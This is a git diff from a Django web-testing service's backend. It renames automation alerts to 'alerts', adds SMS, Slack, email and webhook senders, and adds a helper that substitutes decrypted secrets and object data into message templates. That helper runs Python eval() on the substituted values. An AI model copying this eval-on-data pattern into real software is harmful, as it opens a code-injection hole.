-            json_data[key] = item.yellowlab_delta["scores"]["fonts_delta"]
-        elif 'serverConfig_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["serverConfig_delta"]
-        
-        # YL scan data
-        elif 'yellowlab_average' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["globalScore"]
-        elif 'pageWeight' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["pageWeight"]
-        elif 'images' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["images"]
-        elif 'domComplexity' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["domComplexity"]
-        elif 'javascriptComplexity' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["javascriptComplexity"]
-        elif 'badJavascript' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["badJavascript"]
-        elif 'jQuery' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["jQuery"]
-        elif 'cssComplexity' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["cssComplexity"]
-        elif 'badCSS' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["badCSS"]
-        elif 'fonts' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["fonts"]
-        elif 'serverConfig' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["serverConfig"]
-
-    # return updated json
-    return json_data
-
-
-
-
-def get_item(object_id: str=None) -> dict:
+    # decryption helper
+    def decrypt_secret(value):
+        f = Fernet(settings.SECRETS_KEY)
+        decoded = f.decrypt(value)
+        return decoded.decode('utf-8')
+
+    # create secrets_list
+    secrets_list = []
+    for secret in secrets:
+        secrets_list.append({
+            'key': '{{'+str(secret.name)+'}}',
+            'value': decrypt_secret(secret.value)
+        })
+
+    # iterate through secrets and replace data 
+    for item in secrets_list:
+        string = string.replace(
+            item['key'], 
+            item['value']
+        )
+
+    # iterate through definitions and 
+    # replace {{vairables}} with str(value) first
+    for item in definitions:
+        string = string.replace(
+            ('{{'+str(item['key'])+'}}'), 
+            str(item['value'])
+        )
+
+    # iterate through definitions and replace 
+    # str(value) with eval(str(value))
+    for item in definitions:
+        if item['value'] in string:
+            value = eval(item['value'])
+            data = value if value is not None else 0
+            string = string.replace(
+                str(item['value']), 
+                str(data)
+            )
+
+    # return updated string
+    return string
+
+
+
+
+def get_obj(object_id: str=None) -> dict:
     """ 
     Tries to find an object that matches theh passed 'object_id'.
 
@@ -514,44 +343,58 @@ def get_item(object_id: str=None) -> dict:
     }
 
     Returns -> data: {
-        'item'      : object (Scan, Test, Testcase),
-        'item_type' : str,
-        'success'   : bool
+        'obj'      : object (Scan, Test, CaseRun, FlowRun, Report),
+        'obj_type' : str,
+        'success'  : bool
     }
     """
 
-    # init item
-    item = None
-    item_type = ''
+    # init obj
+    obj = None
+    obj_type = ''
     success = False
 
-    # check for item
-    if not item:
+    # check for obj
+    if not obj:
+        try:
+            obj = Test.objects.get(id=uuid.UUID(object_id))
+            obj_type = 'Test'
+            success = True
+        except:
+            pass
+    if not obj:
+        try:
+            obj = Scan.objects.get(id=uuid.UUID(object_id))
+            obj_type = 'Scan'
+            success = True
+        except:
+            pass
+    if not obj:
         try:
-            item = Test.objects.get(id=uuid.UUID(object_id))
-            item_type = 'Test'
+            obj = CaseRun.objects.get(id=uuid.UUID(object_id))
+            obj_type = 'CaseRun'
             success = True
         except:
             pass
-    if not item:
+    if not obj:
         try:
-            item = Scan.objects.get(id=uuid.UUID(object_id))
-            item_type = 'Scan'
+            obj = FlowRun.objects.get(id=uuid.UUID(object_id))
+            obj_type = 'FlowRun'
             success = True
         except:
             pass
-    if not item:
+    if not obj:
         try:
-            item = Testcase.objects.get(id=uuid.UUID(object_id))
-            item_type = 'Testcase'
+            obj = Report.objects.get(id=uuid.UUID(object_id))
+            obj_type = 'Report'
             success = True
         except:
             pass
     
     # format and return data
     data = {
-        'item': item,
-        'item_type': item_type, 
+        'obj': obj,
+        'obj_type': obj_type, 
         'success': success
     }
 
@@ -560,14 +403,14 @@ def get_item(object_id: str=None) -> dict:
 
 
 
-def automation_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict:
+def alert_email(email: str=None, alert_id: str=None, object_id: str=None) -> dict:
     """
-    Sends an automation email to the User with 
+    Sends an alert email to the User with 
     the passed 'email'
 
     Expects: {
         'email'         : str,
-        'automation_id' : str,
+        'alert_id' : str,
         'object_id'     : str
     }
 
@@ -577,47 +420,51 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
     """
 
     # check if data is present
-    if email and automation_id:
+    if email and alert_id:
 
-        # get automation 
-        automation = Automation.objects.get(id=automation_id)
-        schedule = automation.schedule
+        # get alert 
+        alert = Alert.objects.get(id=alert_id)
+        schedule = alert.schedule
     
         # getting object
-        data = get_item(object_id=object_id)
+        data = get_obj(object_id=object_id)
         if not data['success']:
             return {'success': False}
 
         # getting object data
-        item = data['item']
-        item_type = data['item_type']
+        obj = data['obj']
+        obj_type = data['obj_type']
+
+        # clean obj_type
+        obj_name = obj_type.replace('Run', '')
 
         # deciding if "page" or "site" scope
-        if item_type == 'Testcase':
-            url = item.site.site_url
-            dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}'
+        if obj_type == 'CaseRun' or obj_type == 'FlowRun':
+            url = obj.site.site_url
         else:
-            url = item.page.page_url
-            dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}'
+            url = obj.page.page_url
+
+        # build dash link
+        dash_link = f'{settings.CLIENT_URL_ROOT}/schedule'
 
-        # generating expressions from automation
+        # generating expressions from alert
         exp_list = create_exp(
-            item=item, 
-            automation=automation
+            obj=obj, 
+            alert=alert
         )['exp_list']
 
         # build email data
-        object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{str(item.id)}'
+        object_url = f'{settings.CLIENT_URL_ROOT}/{obj_type.lower()}/{str(obj.id)}'
         subject = f'Alert for {url}'
         title = f'Alert for {url}'
         pre_header = f'Alert for {url}'
         pre_content = (
-            f'Cursion just finished running a {item_type} for {url}. ' 
+            f'Cursion just finished running a {obj_name} for {url}. ' 
             f'Below are the current stats:'
         )
         content = (
-            f'This message was triggered by an automation you created. ' 
-            f'You can change the automation and schedule in your '
+            f'This message was triggered by an alert you created. ' 
+            f'You can change the alert and schedule in your '
             f'<a href="{dash_link}">dashboard</a>.'
         )
 
@@ -628,8 +475,8 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
             'pre_content' : pre_content,
             'exp_list': exp_list,
             'object_url' : object_url,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
-            'button_text' : f'View {item_type}',
+            'home_page' : settings.CLIENT_URL_ROOT,
+            'button_text' : f'View {obj_name}',
             'content' : content,
             'email': email,
             'signature' : '- Cheers!',
@@ -652,14 +499,14 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
 
 
 
-def automation_report_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict:
+def alert_report_email(email: str=None, alert_id: str=None, object_id: str=None) -> dict:
     """
-    Sends an automation report email to the User with 
+    Sends an alert report email to the User with 
     the passed 'email'
 
     Expects: {
         'email'         : str,
-        'automation_id' : str,
+        'alert_id' : str,
         'object_id'     : str
     }
 
@@ -669,19 +516,19 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
     """
 
     # check if data is present
-    if email and automation_id:
+    if email and alert_id:
         
         # retrieving user
         user = User.objects.get(email=email)
 
-        # get automation and deciding if "page" or "site" scope
-        automation = Automation.objects.get(id=automation_id)
-        schedule = automation.schedule
+        # get alert and deciding if "page" or "site" scope
+        alert = Alert.objects.get(id=alert_id)
+        schedule = alert.schedule
         
         # get `Report` if exists
         try:
             report = Report.objects.get(id=uuid.UUID(object_id))
-            item_type = 'Report'
+            obj_type = 'Report'
             url = report.page.page_url
         except:
             return {'success': False}
@@ -697,9 +544,9 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
             f'Please click the link below to access and download the PDF.'
         )
         content = (
-            f'\nThis message was triggered by an automation created with Cursion. ' 
-            f'You can change the automation and schedule in your ' 
-            f'<a href="{settings.CLIENT_URL_ROOT}/page/{str(report.page.id)}">dashboard</a>.'
+            f'\nThis message was triggered by an alert created with Cursion. ' 
+            f'You can change the alert and schedule in your ' 
+            f'<a href="{settings.CLIENT_URL_ROOT}/schedule">dashboard</a>.'
         )
 
         context = {
@@ -731,87 +578,14 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
 
 
 
-def automation_webhook(
-        request_type: str=None, 
-        request_url: str=None, 
-        request_data: dict=None,
-        automation_id: str=None, 
-        object_id: str=None,
-    ) -> dict:
-    """
-    Sends a GET or POST request to the passed 'request_url'
-    with the passed 'request_data'
-
-    Expects: {
-        'request_type'    : str, 
-        'request_url'     : str, 
-        'request_data'    : dict,
-        'automation_id'   : str, 
-        'object_id'       : str,
-    }
-
-    Returns -> data: {
-        'success': bool
-    }
-    """
-
-    # checking that data is present
-    if request_type and automation_id and request_url and request_data and object_id:
-
-        # deciding if "page" or "site" scope
-        automation = Automation.objects.get(id=automation_id)
-        schedule = automation.schedule
-
-        # getting object
-        data = get_item(object_id=object_id)
-        if not data['success']:
-            return {'success': False}
-
-        # get object and type
-        item = data['item']
-        item_type = data['item_type']
-
-        # deciding if "page" or "site" scope
-        if item_type == 'Testcase':
-            url = item.site.site_url
-        else:
-            url = item.page.page_url
-        
-        # building json
-        pre_json_data = json.loads(request_data)
-        json_data = create_json_data(pre_json_data, item)
-
-        # send the request
-        try:
-            if request_type == 'POST':
-                response = requests.post(request_url, data=json_data)
-            elif request_data == 'GET':
-                response = requests.get(request_url, params=json_data)
-        except:
-            return {'success': False}
-
-        data = {
-            'success': True
-        }
-    
-    else:
-        data = {
-            'success': False
-        }
-        
-    return data
-
-
-
-
-def automation_phone(phone_number: str=None, automation_id: str=None, object_id: str=None) -> dict:
+def alert_phone(phone_number: str=None, alert_id: str=None, object_id: str=None) -> dict:
     """
     Sends an SMS alert to the passed 'phone_number' 
-    with the `Automation` data 
+    with the `Alert` data 
 
     Expects: {
         'phone_number'    : str, 
-        'automation_id'   : str, 
+        'alert_id'        : str, 
         'object_id'       : str,
     }
 
@@ -821,58 +595,58 @@ def automation_phone(phone_number: str=None, automation_id: str=None, object_id:
     """
 
     # checking if data is present
-    if phone_number and automation_id and object_id:
+    if phone_number and alert_id and object_id:
 
-        # getting schedule and automation
-        automation = Automation.objects.get(id=automation_id)
-        schedule = automation.schedule
+        # getting schedule and alert
+        alert = Alert.objects.get(id=alert_id)
+        schedule = alert.schedule
+        account_id = str(schedule.account.id)
 
         # getting object
-        data = get_item(object_id=object_id)
+        data = get_obj(object_id=object_id)
         if not data['success']:
             return {'success': False}
 
         # get obj and type
-        item = data['item']
-        item_type = data['item_type']
+        obj = data['obj']
+        obj_type = data['obj_type']
+
+        # clean obj_type
+        obj_name = obj_type.replace('Run', '')
 
         # deciding if "page" or "site" scope
-        if item_type == 'Testcase':
-            url = item.site.site_url
-            dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}'
+        if obj_type == 'CaseRun' or obj_type == 'FlowRun':
+            url = obj.site.site_url
         else:
-            url = item.page.page_url
-            dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}'
+            url = obj.page.page_url
+        
+        # build dash link
+        dash_link = f'{settings.CLIENT_URL_ROOT}/schedule'
 
         # build the exp_str
-        exp_str = create_exp(item=item, automation=automation)['exp_str']
+        exp_str = create_exp(obj=obj, alert=alert)['exp_str']
 
         # build message data
-        object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{item.id}'
+        object_url = f'{settings.CLIENT_URL_ROOT}/{obj_type.lower()}/{obj.id}'
         pre_content = (
-            f'Cursion just finished running a {item_type} for {url}. ' 
+            f'Cursion just finished running a {obj_name} for {url}. ' 
             f'Below are the current stats:\n\n{exp_str}\n'
-            f'View {item_type}: {object_url}\n\n'
+            f'View {obj_name}: {object_url}\n\n'
         )
         content = (
-            f'This message was triggered by an automation you created. ' 
-            f'You can change the automation and schedule in your dashboard: {dash_link}'
+            f'This message was triggered by an alert you created. ' 
+            f'You can change the alert and schedule in your dashboard: {dash_link}'
         )
         body = f'Hi there,\n\n{pre_content}{content}'
-        account_sid = os.environ.get("TWILIO_SID")
-        auth_token  = os.environ.get("TWILIO_AUTH_TOKEN")
-        client = Client(account_sid, auth_token)
 
-        # send message
-        message = client.messages.create(
-            to=phone_number, 
-            from_=os.environ.get('TWILIO_NUMBER'),
+        # send message 
+        data = send_phone(
+            account_id=account_id, 
+            object_id=object_id, 
+            phone_number=phone_number, 
             body=body
         )
-        
-        data = {
-            'success': True
-        }
+        return data        
     
     else:
         data = {
@@ -884,13 +658,13 @@ def automation_phone(phone_number: str=None, automation_id: str=None, object_id:
 
 
 
-def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
+def alert_slack(alert_id: str=None, object_id: str=None) -> dict:
     """
-    Sends a Slack alert with the `Automation` data 
+    Sends a Slack alert with the `Alert` data 
 
     Expects: {
-        'automation_id'   : str, 
-        'object_id'       : str,
+        'alert_id'   : str, 
+        'object_id'  : str,
     }
 
     Returns -> data: {
@@ -899,72 +673,60 @@ def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
     """
 
     # check if data is present
-    if automation_id and object_id:
+    if alert_id and object_id:
+        
+        # getting schedule, account and alert
+        alert = Alert.objects.get(id=alert_id)
+        schedule = alert.schedule
+        account = schedule.account
         
-        # getting schedule, account and automation
-        automation = Automation.objects.get(id=automation_id)
-        account = Account.objects.get(user=automation.user)
-        schedule = automation.schedule
 
         # getting object
-        data = get_item(object_id=object_id)
+        data = get_obj(object_id=object_id)
         if not data['success']:
             return {'success': False}
 
         # get obj and type
-        item = data['item']
-        item_type = data['item_type']
+        obj = data['obj']
+        obj_type = data['obj_type']
 
         # deciding if "page" or "site" scope
-        if item_type == 'Testcase':
-            url = item.site.site_url
-            dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}'
+        if obj_type == 'CaseRun' or obj_type == 'FlowRun':
+            url = obj.site.site_url
         else:
-            url = item.page.page_url
-            dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}'
+            url = obj.page.page_url
+        
+        # build dash link
+        dash_link = f'{settings.CLIENT_URL_ROOT}/schedule'
 
         # build exp_str
-        exp_str = create_exp(item=item, automation=automation)['exp_str']
+        exp_str = create_exp(obj=obj, alert=alert)['exp_str']
+
+        # clean obj_type
+        obj_name = obj_type.replace('Run', '')
 
         # build message data
-        object_url = f'{settings.CLIENT_URL_ROOT}/{item_type}/{item.id}'
+        object_url = f'{settings.CLIENT_URL_ROOT}/{obj_type}/{obj.id}'
         pre_content = (
-            f'Cursion just finished running a `{item_type}` for {url}. ' 
+            f'Cursion just finished running a `{obj_name}` for {url}. ' 
             f'Below are the current stats:\n\n```{exp_str}```\n'
-            f'<{object_url}|*View {item_type}*>\n\n'
+            f'<{object_url}|*View {obj_name}*>\n\n'
         )
         content = (
-            f'This message was triggered by an automation you created. ' 
-            f'You can change the automation and schedule in your '
+            f'This message was triggered by an alert you created. ' 
+            f'You can change the alert and schedule in your '
             f'<{dash_link}|dashboard>.'
         )
         body = f'Hi there,\n\n{pre_content}{content}'
-        token = account.slack['bot_access_token']
-        channel = account.slack['slack_channel_id']
-        client = WebClient(token=token) 
 
-        # send message
-        try:
-            response = client.chat_postMessage(
-                channel=channel,
-                text=(body),
-                block=[
-                    {
-                        "type": "section",
-                        "text": {
-                            "type": "mrkdwn",
-                            "text": body,
-                                    
-                        }
-                    }
-                ]
-            )
-        except SlackApiError as e:
-            assert e.response["error"]
+        # send slack message
+        data = send_slack(
+            account_id=account.id, 
+            object_id=object_id, 
+            body=body
+        )
 
-        data = {
-            'success': True
-        }
+        return data
     
     else:
         data = {
@@ -976,12 +738,19 @@ def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
 
 
 
-def sendgrid_email(message_obj: dict=None) -> dict:
+def sendgrid_email(
+        account_id: str=None, 
+        object_id: str=None, 
+        message_obj: dict=None
+    ) -> dict:
     """
     Tries to send an email via the SendGrid API.
 
-    Expects the following:
+    Expects:{
+        'account_id' : str, 
+        'object_id'  : str,
         'message_obj': dict {
+            'plain_text':   bool,
             'pre_content':  str,
             'content':      str,
             'subject':      str,
@@ -995,16 +764,19 @@ def sendgrid_email(message_obj: dict=None) -> dict:
             'signature':    str,
             'greeting':     str,
         }
+    }
 
-    Returns --> data: {
-        'success': bool
+    Returns: {
+        'success': bool,
+        'message': str
     }
     """
 
     # defining data
+    plain_text = message_obj.get('plain_text', False)
     pre_content = message_obj.get('pre_content')
     content = message_obj.get('content')
-    subject = message_obj.get('subject')
+    subject = message_obj.get('subject', 'Alert from Cursion')
     title = message_obj.get('title')
     pre_header = message_obj.get('pre_header')
     button_text = message_obj.get('button_text')
@@ -1014,6 +786,22 @@ def sendgrid_email(message_obj: dict=None) -> dict:
     signature = message_obj.get('signature', '- Cheers!')
     greeting = message_obj.get('greeting', 'Hi there,')
 
+    if account_id:
+        # get account & secrets
+        account = Account.objects.get(id=account_id)
+        secrets = Secret.objects.filter(account=account)
+
+        # get object
+        obj = get_obj(object_id)['obj']
+
+        # cleaning data
+        content = transpose_data(content, obj, secrets)
+        subject = transpose_data(subject, obj, secrets)
+
+        # replacing '\n' with <br>
+        content = content.replace('\n', '<br>')
+        pre_content = content.replace('\n', '<br>')
+
     # build template data
     template_data = {
         'greeting': greeting,
@@ -1038,29 +826,39 @@ def sendgrid_email(message_obj: dict=None) -> dict:
 
     # init SendGrid message
     message = Mail(
-        from_email=From('hello@cursion.dev', 'Cursion'),  # prod -> settings.EMAIL_HOST_USER
+        from_email=From(settings.EMAIL_HOST_USER, 'Cursion'),
         to_emails=email,  
     )
-    
+
     # attach template data and id
-    message.dynamic_template_data = template_data
-    message.template_id = template
+    if not plain_text:
+        message.dynamic_template_data = template_data
+        message.template_id = template
+    
+    # building message as plain text
+    if plain_text:
+        message.subject = Subject(subject)
+        message.content = [
+            Content(
+                mime_type="text/html",
+                content=content
+            )
+        ]
 
     # send message 
     try:
         sg = SendGridAPIClient(settings.SENDGRID_API_KEY)
         response = sg.send(message)
         status = True
-        error = None
+        msg = 'email sent successfully'
     except Exception as e:
         status = False
-        error = e.message
-        print(e.message)
+        msg = e.message
 
     # formatting resposne
     data = {
         'success': status,
-        'error': error
+        'message': msg
     }
 
     return data
@@ -1068,5 +866,212 @@ def sendgrid_email(message_obj: dict=None) -> dict:
 
 
 
+def send_phone(
+        account_id: str=None, 
+        object_id: str=None, 
+        phone_number: str=None, 
+        body: str=None
+    ) -> dict:
+    """ 
+    Using Twilio, sends an SMS with the passed 'body'
+    top the passed 'phone_number'
+
+    Expects: { 
+        'account_id'    : str, 
+        'object_id'     : str,
+        'phone_number'  : str,
+        'body'          : str,
+    }
+
+    Returns: {
+        'success': bool,
+        'message': str
+    }
+    """
+
+    if account_id and object_id:
+        # get account & secrets
+        account = Account.objects.get(id=account_id)
+        secrets = Secret.objects.filter(account=account)
+
+        # get object
+        obj = get_obj(object_id)['obj']
+
+        # cleaning data
+        body = transpose_data(body, obj, secrets)
+
+    try:
+        # setup client
+        account_sid = settings.TWILIO_SID
+        auth_token  = settings.TWILIO_AUTH_TOKEN
+        client = Client(account_sid, auth_token)
+
+        # clean phone_number
+        phone_number = phone_number.strip().replace('(', '').replace(')', '').replace('-', '')
+        phone_number = ''.join(phone_number.split())
+
+        # send message
+        message = client.messages.create(
+            to=phone_number, 
+            from_=settings.TWILIO_NUMBER,
+            body=body
+        )
+        success = True
+        msg = 'sms sent successfully'
+
+    except Exception as e:
+        print(e)
+        success = False
+        msg = str(e)
+    
+    data = {
+        'success': success,
+        'message': msg
+    }
+    return data
+
+
+
+
+def send_slack(
+        account_id: str=None, 
+        object_id: str=None, 
+        body: str=None
+    ) -> dict:
+    """ 
+    Using Slack, sends an message with the passed 'body'
+    top the passed 'account'.channel
+
+    Expects: { 
+        'account_id' : str, 
+        'object_id'  : str,
+        'body'       : str,
+    }
+
+    Returns: {
+        'success': bool,
+        'message': str
+    }
+    """
+
+    if account_id and object_id:
+        # get account & secrets
+        account = Account.objects.get(id=account_id)
+        secrets = Secret.objects.filter(account=account)
+
+        # get object
+        obj = get_obj(object_id)['obj']
+
+        # cleaning data
+        body = transpose_data(body, obj, secrets)
+    
+    try:
+        # setup client
+        token = account.slack['bot_access_token']
+        channel = account.slack['slack_channel_id']
+        client = WebClient(token=token) 
+
+        # send message
+        response = client.chat_postMessage(
+            channel=channel,
+            text=(body),
+            block=[
+                {
+                    "type": "section",
+                    "text": {
+                        "type": "mrkdwn",
+                        "text": body,        
+                    }
+                }
+            ]
+        )
+        success = True
+        msg = 'slack message sent successfully'
+
+    except SlackApiError as e:
+        print(e)
+        success = False
+        msg = str(e)
+    
+    data = {
+        'success': success,
+        'message': msg
+    }
+    return data
+        
+
+    
+
+def send_webhook(
+        account_id: str=None, 
+        object_id: str=None,
+        request_type: str=None, 
+        url: str=None, 
+        headers: dict=None,
+        payload: dict=None,
+    ) -> dict:
+    """
+    Sends a GET or POST request to the passed 'url'
+    with the passed 'payload' & 'heasders'
+
+    Expects: {
+        'account_id'   : str, 
+        'object_id'    : str,
+        'request_type' : str, 
+        'url'          : str, 
+        'headers'      : dict,
+        'payload'      : dict,
+    }
+
+    Returns: {
+        'success': bool,
+        'message': str
+    }
+    """
+
+    # get account & secrets
+    account = Account.objects.get(id=account_id)
+    secrets = Secret.objects.filter(account=account)
+
+    # get object
+    obj = get_obj(object_id)['obj']
+
+    # cleaning data
+    cleaned_headers = transpose_data(headers, obj, secrets)
+    cleaned_payload = transpose_data(payload, obj, secrets)
+    cleaned_url = transpose_data(url, obj, secrets)
+    
+    # building json
+    json_payload = json.loads(cleaned_payload) if request_type == 'POST' else {}
+    json_headers = json.loads(cleaned_headers)
+
+    # send the request
+    try:
+        if request_type == 'POST':
+            response = requests.post(
+                url=cleaned_url, 
+                headers=json_headers,
+                data=json.dumps(json_payload)
+            ).json()
+
+        elif request_type == 'GET':
+            response = requests.get(
+                url=cleaned_url, 
+                headers=json_headers
+            ).json()
+
+        success = True
+        msg = str(response) 
+    
+    except Exception as e:
+        success = False
+        msg = str(e) 
+    
+    data = {
+        'success': success,
+        'message': msg
+    }
+    return data
+
 
 
diff --git a/app/api/utils/archive/caser.py b/app/api/utils/archive/caser.py
index fad64501..e36dbfb4 100644
--- a/app/api/utils/archive/caser.py
+++ b/app/api/utils/archive/caser.py
@@ -17,10 +17,10 @@
 
 # class Caser():
 #     """ 
-#     Run a `Testcase` for a specific `Site`.
+#     Run a `CaseRun` for a specific `Site`.
 
 #     Expects: {
-#         'testcase' : object,
+#         'caserun' : object,
 #     }
 
 #     - Use `Caser.run_s()` to run with selenium
@@ -32,12 +32,12 @@
 
 
 
-#     def __init__(self, testcase: object=None):
-#         self.testcase = testcase
-#         self.site_url = self.testcase.site.site_url
-#         self.steps = self.testcase.steps
-#         self.case_name = self.testcase.case.name
-#         self.configs = self.testcase.configs
+#     def __init__(self, caserun: object=None):
+#         self.caserun = caserun
+#         self.site_url = self.caserun.site.site_url
+#         self.steps = self.caserun.steps
+#         self.title = self.caserun.case.title
+#         self.configs = self.caserun.configs
 #         self.s_keys = {
 #             '+':            Keys.ADD,
 #             'Alt':          Keys.ALT,
@@ -76,63 +76,63 @@
 
 
 #     @sync_to_async
-#     def update_testcase(
+#     def update_caserun(
 #             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
 #             passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
 #         ) -> None:
 #         # updates Tescase for a puppeteer run (async) 
 #         if start_time != None:
-#             self.testcase.steps[index][type]['time_created'] = str(start_time)
+#             self.caserun.steps[index][type]['time_created'] = str(start_time)
 #         if end_time != None:
-#             self.testcase.steps[index][type]['time_completed'] = str(end_time)
+#             self.caserun.steps[index][type]['time_completed'] = str(end_time)
 #         if passed != None:
-#             self.testcase.steps[index][type]['passed'] = passed
+#             self.caserun.steps[index][type]['passed'] = passed
 #         if exception != None:
-#             self.testcase.steps[index][type]['exception'] = str(exception)
+#             self.caserun.steps[index][type]['exception'] = str(exception)
 #         if image != None:
-#             self.testcase.steps[index][type]['image'] = str(image)
+#             self.caserun.steps[index][type]['image'] = str(image)
 #         if time_completed != None:
-#             self.testcase.time_completed = time_completed
+#             self.caserun.time_completed = time_completed
 #             test_status = True
-#             for step in self.testcase.steps:
+#             for step in self.caserun.steps:
 #                 if step['action']['passed'] == False:
 #                     test_status = False
 #                 if step['assertion']['passed'] == False:
 #                     test_status = False
-#             self.testcase.passed = test_status
+#             self.caserun.passed = test_status
         
-#         self.testcase.save()
+#         self.caserun.save()
 #         return None
 
 
 
 
-#     def update_testcase_s(
+#     def update_caserun_s(
 #             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
 #             passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
 #         ) -> None:
 #         # updates Tescase for a selenium run (async) 
 #         if start_time != None:
-#             self.testcase.steps[index][type]['time_created'] = str(start_time)
+#             self.caserun.steps[index][type]['time_created'] = str(start_time)
 #         if end_time != None:
-#             self.testcase.steps[index][type]['time_completed'] = str(end_time)
+#             self.caserun.steps[index][type]['time_completed'] = str(end_time)
 #         if passed != None:
-#             self.testcase.steps[index][type]['passed'] = passed
+#             self.caserun.steps[index][type]['passed'] = passed
 #         if exception != None:
-#             self.testcase.steps[index][type]['exception'] = str(exception)
+#             self.caserun.steps[index][type]['exception'] = str(exception)
 #         if image != None:
-#             self.testcase.steps[index][type]['image'] = str(image)
+#             self.caserun.steps[index][type]['image'] = str(image)
 #         if time_completed != None:
-#             self.testcase.time_completed = time_completed
+#             self.caserun.time_completed = time_completed
 #             test_status = True
-#             for step in self.testcase.steps:
+#             for step in self.caserun.steps:
 #                 if step['action']['passed'] == False:
 #                     test_status = False
 #                 if step['assertion']['passed'] == False:
 #                     test_status = False
-#             self.testcase.passed = test_status
+#             self.caserun.passed = test_status
         
-#         self.testcase.save()
+#         self.caserun.save()
 #         return
 
 
@@ -177,7 +177,7 @@
 
 #         # seting up paths
 #         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-#         remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
+#         remote_path = f'static/caseruns/{self.caserun.id}/{pic_id}.png'
 #         root_path = settings.AWS_S3_URL_PATH
 #         image_url = f'{root_path}/{remote_path}'
     
@@ -219,7 +219,7 @@
 
 #         # seting up paths
 #         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-#         remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
+#         remote_path = f'static/caseruns/{self.caserun.id}/{pic_id}.png'
 #         root_path = settings.AWS_S3_URL_PATH
 #         image_url = f'{root_path}/{remote_path}'
     
@@ -279,13 +279,13 @@
 
 #     def run_s(self) -> None:
 #         """
-#         Runs the self.testcase using selenium as the driver
+#         Runs the self.caserun using selenium as the driver
 
 #         Returns -> None
 #         """
 
-#         print(f'beginning testcase for {self.site_url}  \
-#             using case {self.case_name}')
+#         print(f'beginning caserun for {self.site_url}  \
+#             using case {self.title}')
         
 #         # initate driver
 #         self.driver = driver_init(
@@ -310,7 +310,7 @@
 #             if step['action']['type'] == 'navigate':
 #                 exception = None
 #                 passed = True
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -333,7 +333,7 @@
 #                     exception = self.format_exception_s(e)
 #                     passed = False
 
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -345,7 +345,7 @@
 #             if step['action']['type'] == 'scroll':
 #                 exception = None
 #                 passed = True
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -365,7 +365,7 @@
 #                     exception = self.format_exception_s(e)
 #                     passed = False
 
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -377,7 +377,7 @@
 #             if step['action']['type'] == 'click':
 #                 exception = None
 #                 passed = True
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -404,7 +404,7 @@
 #                     exception = self.format_exception_s(e)
 #                     passed = False
 
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -415,7 +415,7 @@
 #             if step['action']['type'] == 'change':
 #                 exception = None
 #                 passed = True
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -443,7 +443,7 @@
 #                     exception = self.format_exception_s(e)
 #                     passed = False
 
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -454,7 +454,7 @@
 #             if step['action']['type'] == 'keyDown':
 #                 exception = None
 #                 passed = True
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -491,7 +491,7 @@
 #                     exception = self.format_exception_s(e)
 #                     passed = False
 
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -502,7 +502,7 @@
 #             if step['assertion']['type'] == 'match':
 #                 exception = None
 #                 passed = True
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
